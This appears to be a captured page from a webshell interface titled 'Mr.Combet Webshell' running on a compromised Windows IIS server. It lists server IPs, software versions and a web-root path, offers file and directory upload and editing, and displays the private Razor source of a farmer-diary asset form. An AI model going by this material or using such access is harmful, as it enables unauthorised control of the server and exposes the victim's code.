Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
map
/
Views
/
FarmerDiary
/
Edit File Name :
_FarmerDiaryAssetTab.cshtml
@model RER_Project.DataAccess.ViewModels.Baseline.BaselineViewModel @using RER_Project.Core.Helpers; @using RER_Project.BusinessLayer.BusinessService @{ var meta = AppUserService.GetCurrent(); } @if (Model.MemberDetailView.IsActive) { <form id="CreateAssets"> <div class="row"> <input type="hidden" id="AssetMainId" name="Id" /> <div class="form-group col-md-2"> <label><strong>Assets Type</strong></label> @* <select type="text" class="form-control " name="AssetsId" id="AssetTypeId" data-api="/assetstype/select" required></select>*@ <select class="form-control required" name="AssetsId" id="AssetTypeId"> <option value="">Select</option> @foreach (var parent in ViewBag.AssetParentType) { <optgroup label="@parent.Value"> @foreach (var child in ViewBag.AssetType) { if (Convert.ToInt32(parent.Key) == child.TypeId) { <option value="@child.Id">@child.Name</option> } } </optgroup> } </select> </div> <div class="form-group col-md-2"> <label><strong>Unit</strong> </label> <select type="text" class="form-control" name="UnitId" id="UnitId" data-api="/unit/asset" required disabled></select> @*<select type="text" class="form-control " name="UnitId" id="UnitId" data-api="/unit/asset" required></select>*@ </div> <div class="form-group col-md-2"> <label><strong>Quantity</strong></label> <input class="curr form-control required currencyFormatter" onkeypress="return isNumberKey(this,event)" maxlength="5" id="Quantity" name="Quantity" required /> </div> <div class="form-group col-md-2"> <label for="Price"><strong>Price (Rs)</strong></label> <div class="inputWithIcon"> <input type="text" class="curr form-control required currencyFormatter" onkeypress="return isNumberKey(this,event)" maxlength="12" name="Price" id="Price"> <span><strong>Rs</strong></span> </div> @* <input onkeypress="return isNumberKey(this,event)" maxlength="8" class=" form-control" id="Price" name="Price" required />*@ </div> <div class="form-group col-md-2"> <label for="Ownership"><strong>OwnerShip Self</strong></label> <select type="text" class="form-control " name="OwnershipSelfId" id="OwnershipSelfId" data-api="/ownership_self/select" required></select> </div> <div class="form-group col-md-2"> <label for="Loan"><strong>Loan</strong></label> <div class="inputWithIcon"> <input type="text" class="curr form-control required currencyFormatter" onkeypress="return isNumberKey(this,event)" maxlength="12" name="Loan" id="Loan"> <span><strong>Rs</strong></span> </div> @* <input onkeypress="return isNumberKey(this,event)" maxlength="8" class=" form-control" id="Loan" name="Loan" required />*@ </div> </div> </form> } <div class="row"> <div class="col-lg-12"> <div class="pull-left"> <a class="btn btn-primary btnPrevious"><i class="fa fa-arrow-circle-o-left" aria-hidden="true"></i> Previous</a> <a class="btn btn-primary btnNext">Next <i class="fa fa-arrow-circle-o-right" aria-hidden="true"></i></a> </div> @if (Model.MemberDetailView.IsActive) { <div class="pull-right"> @if (meta.RoleId == (int)EnumRoleHelper.Roles.Admin || meta.RoleId == (int)EnumRoleHelper.Roles.MnE || meta.RoleId == (int)EnumRoleHelper.Roles.MnEOfficer) { <input type="button" value="Save" class="btn btn-primary" id="SubmitAssets" /> } <a href="/farmer_diary/time_frame/member/@Model.MemberDetailView.Id" class="btn btn-default"><i class="fa fa-arrow-circle-o-left" aria-hidden="true"></i> Back</a> </div> } </div> </div> <div class="table-responsive" style="margin-top: 16px;"> <table class="table table-bordered table-hover" name="tblAssets" id="tblAssets"> <thead> <tr> <th>Asset Type</th> <th>Asset Unit</th> <th>Quantity</th> <th style="text-align:center">Price</th> <th>OwnerShip Self</th> <th style="text-align:center">Loan</th> @if (Model.MemberDetailView.IsActive) { <th>Action</th> } </tr> </thead> <tbody id="tblAssetsBody"> </tbody> <tfoot style="line-height:30px;background-color:#edf0ee;color:black" id="tblAssetFooter"> </tfoot> </table> </div> <script type="text/javascript"> $("#SubmitAssets").off("click").on("click", function () { function request(model) { const url = "/farmer_diary/asset/create"; const data = JSON.stringify(model); return window.getAjaxRequest(url, "POST", data); } const form = $("#CreateAssets"); $.validator.unobtrusive.parse(form); if (!form.valid()) { return false; }; if (!window.confirmAction()) { return; }; WorkForce.loader.show(); var allFormData = window.serializeForm(form); function getModel() { return (getFarmerDiaryAsset()); } function getFarmerDiaryAsset() { var farmerDiaryAsset = {}; farmerDiaryAsset.Id = allFormData.Id; farmerDiaryAsset.AssetsId = allFormData.AssetsId; farmerDiaryAsset.UnitId = allFormData.UnitId; farmerDiaryAsset.Quantity = removeCommaFromString(allFormData.Quantity); farmerDiaryAsset.OwnershipSelfId = allFormData.OwnershipSelfId; farmerDiaryAsset.Loan = removeCommaFromString($('#Loan').val()); farmerDiaryAsset.Price = removeCommaFromString($('#Price').val()); farmerDiaryAsset.FiscalYearId ='@ViewBag.FiscalYear'; farmerDiaryAsset.MemberId = @Model.MemberDetailView.Id; farmerDiaryAsset.BaselineId = @Model.Baseline.Id; farmerDiaryAsset.GroupId = @Model.MemberDetailView.GroupId; farmerDiaryAsset.DistrictId = '@Model.MemberDetailView.DistrictId'; return farmerDiaryAsset; } const model = getModel(); const ajax = request(model); ajax.done(function (response) { WorkForce.loader.hide(); showNotification("success"); //addCurrentlyInsertedAssetsToTable(aAssetsData); clearAllAssets(); loadAssets(); }); function addCurrentlyInsertedAssetsToTable(response) { $('<tr class="anim highlight">' + `<td>${$("#FiscalYear option:selected").text()}</td > <td>${$('#Quadtrimester').val()}</td> <td>${$('#AssetsId option:selected').text()}</td> <td>${ $("#UnitId option:selected").text()}</td> <td>${getNumberWithComma($('#Quantity').val())}</td > <td>${$('#Price').val()}</td> <td>${$('#OwnershipSelfId option:selected').text()}</td> <td>${$('#Loan').val()}</td> </tr >`) .hide() .prependTo('#tblAssets tbody') .fadeIn("slow") .addClass('normal'); } ajax.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("error", xhr.responseText); }); }) function clearAllAssets() { $('#AssetTypeId').val(''); $('#AssetMainId').val(''); $('#UnitId').val(''); $('#OwnershipSelfId').val(''); $('#Quantity').val(''); $('#Price').val(''); $('#Loan').val(''); } function loadAssets() { const ajax = request(); function request() { const url = '/farmer_diary/asset/member/' + @Model.MemberDetailView.Id + "/fiscal/" + '@ViewBag.FiscalYear'; return window.getAjaxRequest(url, "Get", @Model.MemberDetailView.Id); } ajax.done(function (response) { addFarmerDiaryAssetListToTable(response); }); ajax.fail(function (xhr) { ShowMessage("error", xhr.responseText); }); } function addFarmerDiaryAssetListToTable(response) { debugger; var status = '@Model.MemberDetailView.IsActive'; var priceTotal = 0; var loanTotal = 0; var price $('#tblAssets tbody > tr').remove(); $('#tblAssets tfoot > tr').remove(); var table = $("#tblAssets tbody"); response.forEach(function (x) { var row = "<tr>"; row += "<td>" + x.asset + "</td>"; row += "<td>" + x.unit + "</td>"; row += "<td>" + getNumberWithComma(x.quantity) + "</td>"; row += "<td><center>" + getNumberWithComma(x.price) + "</center></td>"; row += "<td>" + x.ownership + "</td>"; row += "<td><center>" + getNumberWithComma(x.loan) + "</center></td>"; row += "<td class='hideshow'>" + "<a class='btn btn-default btn-xs' style='color:dodgerblue' onclick=editFarmerDiaryAssetData(" + x.id + ") ><i class='fa fa-edit'></i >" + "</a ><a class='btn btn-default btn-xs' style='color:dodgerblue' onclick=deleteFarmerDiaryAsset(" + x.id + ") ><i class='fa fa-trash'></i ></a> "+ " <span" +" onclick=showFarmerDiaryAssetRecommendPopUp(" + x.id + ") class='badge'>Recommend</span> </center></td >" priceTotal += parseFloat(x.price); loanTotal += parseFloat(x.loan); table.append(row); }) var tblFooter = $("#tblAssets tfoot"); var footerRow = `<tr> <td ><strong>Total :</strong></td> <td colspan="2"></td> <td><strong><center> Rs. ${Number(parseFloat(priceTotal).toFixed(2)).toLocaleString("en-IN", { minimumFractionDigits: 2 })}</center></strong></td> <td></td> <td><strong><center> Rs. ${Number(parseFloat(loanTotal).toFixed(2)).toLocaleString("en-IN", { minimumFractionDigits: 2 })}</center></strong></td><td class='hideshow'></td> </tr>` tblFooter.append(footerRow); if (status === 'False') { $('.hideshow').hide(); } } function editFarmerDiaryAssetData(assetId) { const ajax = request(assetId); function request(productionPlanId) { const url = '/farmer_diary/asset/' + assetId; return window.getAjaxRequest(url, "Get", assetId); } ajax.done(function (response) { console.log(response); $('#FiscalYear').val(response.FiscalYearId); $('#Quadtrimester').val(response.Quadrimester); $('#AssetMainId').val(response.Id); $('#Quantity').val(getNumberWithComma(response.Quantity)); $('#Price').val(getNumberWithComma(response.Price)); $('#Loan').val(getNumberWithComma(response.Loan)); $('#AssetTypeId').val(response.AssetsId); $('#UnitId').val(response.UnitId); $('#OwnershipSelfId').val(response.OwnershipSelfId); $("#DistrictId").removeClass("required"); window.scrollTo(200, 0); }); ajax.fail(function (xhr) { ShowMessage("error", xhr.responseText); }); } function deleteFarmerDiaryAsset(assetId) { let conf = confirm(`Are you sure you want to delete this Farmer Diary Asset ?`); if (!conf) { return; } else { const ajaxResponse = requestFarmerDiaryAssetToDelete(assetId); ajaxResponse.done(function (response) { WorkForce.loader.hide(); if (response) { clearAllAssets(); loadAssets(); ShowMessage("success", "Successfully Deleted this Asset Plan"); } WorkForce.loader.hide(); }); ajaxResponse.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("Error", xhr.responseText); }); WorkForce.loader.hide(); } } function requestFarmerDiaryAssetToDelete(assetId) { const url = "/farmer_diary/asset/delete/"; const data = JSON.stringify({ "Id": assetId}); return window.getAjaxRequest(url, "POST", data); } function showFarmerDiaryAssetRecommendPopUp(id) { $('#recommendFarmerDiaryModel').modal('show'); $('#RowIdInPopUp').val(id); $('#TableName').val('FarmerDiaryAsset'); } </script>
Save